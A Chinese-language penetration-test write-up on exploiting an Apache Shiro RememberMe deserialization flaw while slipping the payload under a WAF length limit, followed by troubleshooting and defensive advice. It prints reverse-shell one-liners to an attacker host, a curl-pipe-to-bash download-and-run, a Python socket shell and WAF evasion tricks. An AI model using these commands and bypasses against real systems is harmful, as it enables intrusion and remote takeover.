1. 项目概述:一次典型的攻防对抗复盘
最近在参与一个授权测试项目时,遇到了一个非常经典的场景:目标系统使用了Apache Shiro框架,并且存在已知的反序列化漏洞利用点。这本应是一个“标准流程”式的测试,但就在我准备发送精心构造的Payload时,却被部署在前端的WAF(Web应用防火墙)无情地拦截了。更棘手的是,这次WAF的拦截规则并非基于传统的特征匹配,而是设置了一个针对请求参数长度的硬性限制。这就像你拿到了一把万能钥匙,却发现锁孔被一块铁板堵住了,只留下一条细缝。这次实战,就是记录我如何在这条“细缝”中辗转腾挪,最终成功绕过限制,实现命令执行并获取Shell的完整过程。无论你是安全研究人员、渗透测试工程师,还是负责应用安全的开发人员,理解这种绕过思路,对于完善自身防御策略或提升攻击技巧都大有裨益。
2. 核心漏洞与防御机制解析
2.1 Apache Shiro RememberMe反序列化漏洞原理
要理解如何绕过,必须先清楚我们要攻击的是什么。Apache Shiro是一个强大且易用的Java安全框架,提供身份验证、授权、加密和会话管理等功能。其“记住我”(RememberMe)是一项便捷功能,允许用户在关闭浏览器后再次访问时无需重新登录。
其核心流程如下:
- 用户成功登录并勾选“记住我”。
- Shiro服务器端会对用户的身份信息(如用户名)进行序列化。
- 序列化后的数据会使用一个预共享的密钥(
cipherKey)进行AES加密。 - 加密后的密文会经过Base64编码,然后设置为一个名为
rememberMe的Cookie,发送给客户端浏览器。 - 用户下次访问时,浏览器会自动带上这个Cookie。
- Shiro服务端收到Cookie后,进行Base64解码、AES解密,最后反序列化数据,恢复用户身份,实现自动登录。
漏洞的根源就在于第6步:反序列化。Java反序列化机制本身是危险的,如果程序反序列化了恶意构造的数据,就可能触发执行任意代码。在Shiro的默认配置中,用于加解密的AES密钥是硬编码在框架代码里的(如kPH+bIxk5D2deZiIxcaaaA==)。如果攻击者知道了这个密钥,他就可以:
- 构造一个包含恶意指令的序列化对象(例如利用CommonsCollections库构造的命令执行链)。
- 用已知的密钥加密这个对象。
- 将其Base64编码后,伪装成
rememberMeCookie发送给服务器。 - 服务器使用相同的密钥解密后,会毫无戒备地对恶意数据进行反序列化,从而触发漏洞,执行攻击者预设的命令。
因此,整个利用链的关键在于:密钥和可用的反序列化利用链(Gadget Chain)。在实战中,我们常使用工具(如ShiroAttack2、shiro-exploit)来爆破密钥并利用已知链(如CC链、CB链)进行攻击。
2.2 WAF的长度限制防御策略分析
WAF作为一道安全屏障,其拦截逻辑多种多样。本次遇到的是“请求参数值长度限制”。具体表现为,当rememberMeCookie的值(即Base64编码后的密文)长度超过某个阈值(例如1024字符、2048字符)时,请求会被直接阻断,返回403 Forbidden或自定义的拦截页面。
这种防御策略的设计思路是简单而有效的:
- 基于经验:一个正常的“记住我”Cookie,其序列化对象通常只包含有限的用户信息(如用户名、用户ID),加密编码后的长度是相对较短且稳定的。而一个恶意的反序列化Payload,尤其是包含复杂命令执行链的Payload,序列化后的体积会非常庞大,编码后很容易超过正常范围。
- 性能与误报:相比于深度解析HTTP请求体、进行正则表达式匹配或语义分析,单纯检查参数长度对WAF的性能消耗极低。同时,这种基于长度的规则误报率也相对较低,不容易影响正常业务。
- 增加攻击成本:它迫使攻击者必须想方设法“压缩”自己的攻击载荷,使其在限定的长度内依然能完成攻击动作。这无疑增加了攻击的技术门槛和复杂度。
面对这种防御,传统的“长枪大炮”式Payload直接失效。我们的攻击思路必须从“大力出奇迹”转向“精巧手术刀”,核心目标就是:在极其有限的长度预算内,构造出功能完整的攻击链。
3. 绕过长度限制的实战思路拆解
当我的标准Payload被WAF拦截后,我并没有立即转向其他漏洞点,而是开始系统性地分析如何“瘦身”。整个过程是一个层层递进的优化过程。
3.1 第一层优化:精简反序列化利用链(Gadget)
最初的Payload使用的是经典的CommonsCollections6(CC6)链。这个链通用性强,但序列化后的字节数较多。我的第一步就是寻找更短小精悍的利用链。
- 链的选型:我对比了CC1、CC3、CC6以及一些针对无
TransformedMap依赖的变种链(如TomcatEcho链的某些变体)。通过本地序列化后对比字节数组长度,发现某些利用TemplatesImpl的链(如CC2、CC3的变种)在特定构造方式下,可以比CC6更短。最终,我选择了一个经过精简的、直接加载字节码的TemplatesImpl链。这一步优化,直接将Payload长度削减了约30%。 - 原理补充:
TemplatesImpl链之所以能更短,是因为它直接将恶意代码以字节码形式嵌入,避免了CC链中为了构造Transformer数组和ChainedTransformer而生成的大量包装类对象,减少了序列化后的元数据开销。
3.2 第二层优化:压缩命令执行载荷
即使链本身变短了,要执行的命令(例如弹一个反向Shell:bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1)本身也很长。我们需要让这个命令尽可能短。
- 命令短写技巧:
- 使用短标签:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}。这种方式将命令Base64编码后通过管道传递,虽然增加了编解码步骤,但有时能避开一些字符串检测,且格式固定。 - 终极短写:在Linux下,最简短的方式是直接写入一个脚本并执行。例如,可以尝试将命令拆解,通过
echo拼接,或者利用wget或curl从远程服务器下载更短的Shell脚本。最终我采用的方案是:curl ATTACKER_IP/s.sh|bash。其中s.sh是我托管在VPS上的一个极简反向Shell脚本。这样,Payload中需要携带的命令就缩短到了几十个字符。
- 使用短标签:
- 编码与混淆:对短命令进行Base64或Hex编码是常规操作,但要注意,编码会增加长度。我们需要权衡:是直接传递短明文命令,还是传递一个更短的、编码后的命令(但需要Payload中包含解码逻辑)。在本案例中,由于链本身已经支持执行代码,我选择将“下载并执行”这段逻辑直接写入恶意类的字节码中,这样HTTP请求的Cookie里就完全看不到明文的命令字符串了,进一步规避了可能的第二层WAF关键词检测。
3.3 第三层优化:AES加密与Padding的玄机
这是本次绕过中最关键、最精妙的一环。Shiro默认使用AES-128-CBC模式加密,并采用PKCS5Padding填充。
- Padding的影响:PKCS5Padding的规则是,如果明文长度不是16字节(AES块大小)的整数倍,则需要填充至整数倍。例如,一个255字节的明文,需要填充1个字节的
0x01;一个250字节的明文,则需要填充6个字节的0x06。填充字节数 = 16 - (明文长度 % 16)。 - “卡长度”技巧:WAF检查的是加密并Base64后的总长度。而Base64编码会使数据膨胀约4/3。我们的目标是让最终的Base64字符串长度刚好小于或等于WAF的阈值(假设是1024字符)。通过计算可知,1024个Base64字符对应的原始二进制数据长度约为768字节。这是我们的“总预算”。
- 这个总预算需要容纳:
IV(16字节) + 加密后的密文。 - 而密文长度又由
明文长度决定,且密文长度 = 明文长度 + 填充字节数,并且必须是16的倍数。
- 这个总预算需要容纳:
- 操作实践:我编写了一个简单的Python脚本进行微调。在固定了利用链的字节码部分后,我可以通过在恶意类中添加或删除一些无意义的属性(如
private String dummy = “”;),来细微调整序列化后明文的长度。目标是让明文长度 % 16的值尽可能大(例如15),这样只需要填充1个字节,密文长度就是明文长度+1,最终Base64的长度可能就是(16+明文长度+1)*4/3,这个值经过四舍五入后,有可能刚好从超过阈值变为低于阈值。通过几次迭代尝试,我成功将Payload的总长度控制在了1020字符左右,顺利通过了WAF的长度检查。
注意:这种“卡长度”的操作需要精确计算,并且不同WAF对长度的计算方式可能略有不同(是否包含Cookie名称、等号?是否计算URL编码?)。最好预留几个字符的余量。
3.4 第四层优化:HTTP请求拆分与伪装
如果经过以上所有优化,Payload长度仍然超标,我们还有最后一招:请求拆分。这不是指分片攻击,而是指将攻击逻辑拆分成多个步骤,每个步骤的请求都很短。
- 第一步:写入文件。构造一个超短的Payload,其功能是利用Java代码在服务器临时目录写入一个包含完整恶意代码的
.jar或.class文件。这个写入动作的Payload可以非常短。 - 第二步:加载执行。构造另一个短的Payload,其功能是加载第一步写入的那个文件并执行。例如,通过URLClassLoader加载远程或本地的jar包。 通过两个(或多个)符合长度限制的请求,接力完成一次完整的攻击。这种方法对Payload的构造技巧要求更高,需要更精细地控制每一步的代码。
4. 完整绕过与利用实操记录
4.1 环境探测与工具准备
- 目标确认:首先通过浏览器插件或手动查看登录请求的响应,确认存在
rememberMe=deleteMe的Cookie设置,初步判断Shiro框架存在。 - 密钥爆破:使用
shiro-exploit或ShiroAttack2工具,加载常见的密钥字典进行爆破。幸运的是,目标使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,很快爆破成功。这一步是后续所有操作的基础。 - WAF识别与规则探测:发送一个超长的测试Cookie(例如2000个‘A’),确认返回403,触发了长度限制。通过发送不同长度的测试串,可以大致摸清阈值(例如1024、2048)。我使用Burp Suite的Intruder模块,以递增的长度发送请求,精确确定了拦截阈值为1024字符。
4.2 构造“瘦身”版Payload
我选择了ShiroAttack2工具,因为它提供了高级设置选项。
- 选择利用链:在工具中,我放弃了默认的CC链,选择了“TomcatEcho”或“TomcatMemShell”相关的链,这些链通常为内存马设计,结构相对紧凑。实际上,我需要的是一个能执行任意代码的链,工具内置的“命令执行”功能可能链较长。因此,我切换到“自定义代码”模式。
- 注入自定义字节码:
- 我编写了一个极简的Java类,其
static代码块中包含攻击逻辑。为了极致缩短,我不用任何第三方库,直接使用Runtime.getRuntime().exec()执行命令。命令内容是:curl http://my-vps-ip/shell.sh | bash。其中shell.sh内容为bash -i >& /dev/tcp/my-vps-ip/4444 0>&1。 - 使用
javac编译后,通过BCEL或直接字节码方式嵌入。ShiroAttack2支持将.class文件转换为字节码字符串。
- 我编写了一个极简的Java类,其
- 生成与长度检查:将生成的Payload复制出来,观察其Base64编码后的长度。第一次生成了约1300字符,远超1024。
- 迭代优化:
- 缩短命令:将命令改为下载并执行Python一句话脚本:
python -c “import os,socket,subprocess;s=socket.socket();s.connect((‘my-vps-ip‘,4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call([‘/bin/bash‘,‘-i‘])”。发现Python脚本更长。换回最初的curl|bash方案。 - 精简Java类:移除类中所有非必要的导入、注释、空格和换行。将类名、方法名改为单字母,如
A。将字符串变量合并。 - 调整序列化数据:在工具中,有时选择不同的“版本”或“变种”链,生成的Payload长度差异很大。我逐一测试,记录长度。
- 应用“卡长度”技巧:经过上述精简,Payload长度在1100字符左右徘徊。我回到自定义的Java类,尝试增加一个无用的
byte[] padding = new byte[N];数组,通过调整N的大小(每次增减1),观察最终Payload长度的变化。当N增加到某个值时,由于触发了不同的Padding,总长度突然从1025降到了1018。成功!
- 缩短命令:将命令改为下载并执行Python一句话脚本:
4.3 发送Payload与接收Shell
- 监听端口:在攻击机VPS上,使用
nc -lvnp 4444监听反弹Shell的端口。 - 发送请求:将优化后的、长度为1018字符的
rememberMeCookie值,通过Burp Repeater发送到目标的登录接口或任意受Shiro保护的接口。 - 观察结果:请求返回了200状态码,并且没有WAF拦截页面!服务器响应可能正常,也可能因命令执行而有轻微延迟或错误。立即查看VPS上的nc监听器。
- 成功获取Shell:几秒后,nc终端成功收到了来自目标服务器的反向Shell连接,可以执行
id、whoami等命令确认权限。攻击成功。
5. 深度排查与进阶技巧
5.1 常见问题与解决方案实录
在实际操作中,你可能会遇到以下问题:
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| Payload长度已低于阈值,但仍被拦截。 | 1. WAF还有其他规则,如特定字符过滤。 2. 长度计算方式不同(如包含Cookie名)。 3. Payload本身触发了其他特征。 | 1. 用纯字母数字长字符串测试,确认是否仅为长度规则。 2. 尝试对Cookie值进行URL编码,看是否影响拦截。 3. 使用更“干净”的利用链,避免包含 Runtime、ProcessBuilder等敏感类名(可尝试反射调用)。 |
| 发送Payload后,服务器返回500错误,但无Shell。 | 1. 目标环境缺少利用链依赖的库(如CC库)。 2. Java版本过高,存在反序列化过滤器(JEP 290)。 3. Payload中的命令执行失败(路径不对、防火墙出站限制)。 | 1. 换用不依赖CC库的链,如TomcatEcho链或自定义字节码链。2. 尝试使用针对高版本JDK的绕过链,或检查是否有配置 serializationFilter。3. 将命令改为写入一个文件(如 echo test > /tmp/test.txt)来测试命令是否执行。检查服务器防火墙策略。 |
| 工具生成的Payload无法进一步缩短。 | 工具内置的链和模板为了通用性,可能包含冗余部分。 | 1.手动构造:这是终极方案。理解反序列化链原理后,可以使用ysoserial源码,定制化生成Payload,剔除所有非必要部分。2.尝试其他格式:除了Cookie,有时可以尝试将Payload放在 POSTbody或其他Header中,某些WAF配置可能忽略这些位置的长度检查。 |
5.2 防御视角下的思考与建议
从这次绕过经历反推,作为防御方,应该如何构建更稳固的防线?
- 根本解决:升级与打补丁。及时升级Shiro至安全版本(>=1.2.5,并妥善配置
cipherKey),这是最有效的措施。不要使用默认密钥。 - 纵深防御:多层WAF规则。单一的长度限制很容易被绕过。应结合多种规则:
- 特征检测:虽然Payload可以变短,但恶意字节码或特定链的类签名特征可能依然存在。可以部署针对常见反序列化Gadget链特征的规则。
- 行为分析:检测短时间内多次尝试登录、或携带
rememberMeCookie访问非登录页面的异常行为。 - 长度限制精细化:可以对不同参数设置不同的、更合理的长度阈值。对于
rememberMe这种特定参数,可以设置一个非常严格的低阈值(如512字节),因为正常业务根本不需要那么长。
- 应用层加固:
- 反序列化过滤器:在代码中启用并严格配置反序列化过滤器(
ObjectInputFilter),只允许反序列化预期的、安全的类。 - 移除危险依赖:如果业务用不到,应直接从依赖中移除
commons-collections、commons-beanutils等危险库。 - 自定义Cookie解析:重写Shiro的
RememberMeManager,在解密和反序列化之前,加入长度校验、格式校验甚至签名验证。
- 反序列化过滤器:在代码中启用并严格配置反序列化过滤器(
- 网络层控制:限制服务器出站流量,只允许访问必要的内网和外部服务地址,可以有效阻断反弹Shell、下载外部脚本等攻击行为。
5.3 我的实操心得与避坑指南
- 工具是辅助,理解才是核心:不要满足于用工具点一下。理解Shiro漏洞原理、AES加密解密过程、PKCS5Padding机制、Java反序列化链的构造,是你能够进行深度绕过的基础。否则,当工具失效时,你将束手无策。
- 环境还原是最好的老师:在本地搭建一个与目标环境相似的测试环境(相同的Shiro版本、JDK版本、依赖库)。所有的Payload优化、长度测试、效果验证,先在本地做,可以极大提高效率,避免在真实目标上留下过多日志。
- 保持Payload的“纯洁性”:在尝试绕过时,避免引入可能引发新问题的字符。例如,在命令中尽量使用
/bin/bash的绝对路径,避免使用可能被转义的特殊字符(如$、\``、|`等),必要时进行编码。 - 长度阈值的探测要精准:使用Burp Intruder的“数字变体”功能,以10或50为步长递增发送长度,可以快速定位WAF的精确阈值,避免在阈值边缘无效尝试。
- 永远要有B计划:长度绕过只是WAF绕过的一种。如果此路实在不通,应立即转换思路,例如:寻找其他输入点(如文件上传、其他Header参数)、尝试其他Shiro利用方式(如Padding Oracle攻击CBC模式)、或者暂时放下此漏洞,转向其他攻击面。一次成功的渗透测试,往往是多种技术组合运用的结果。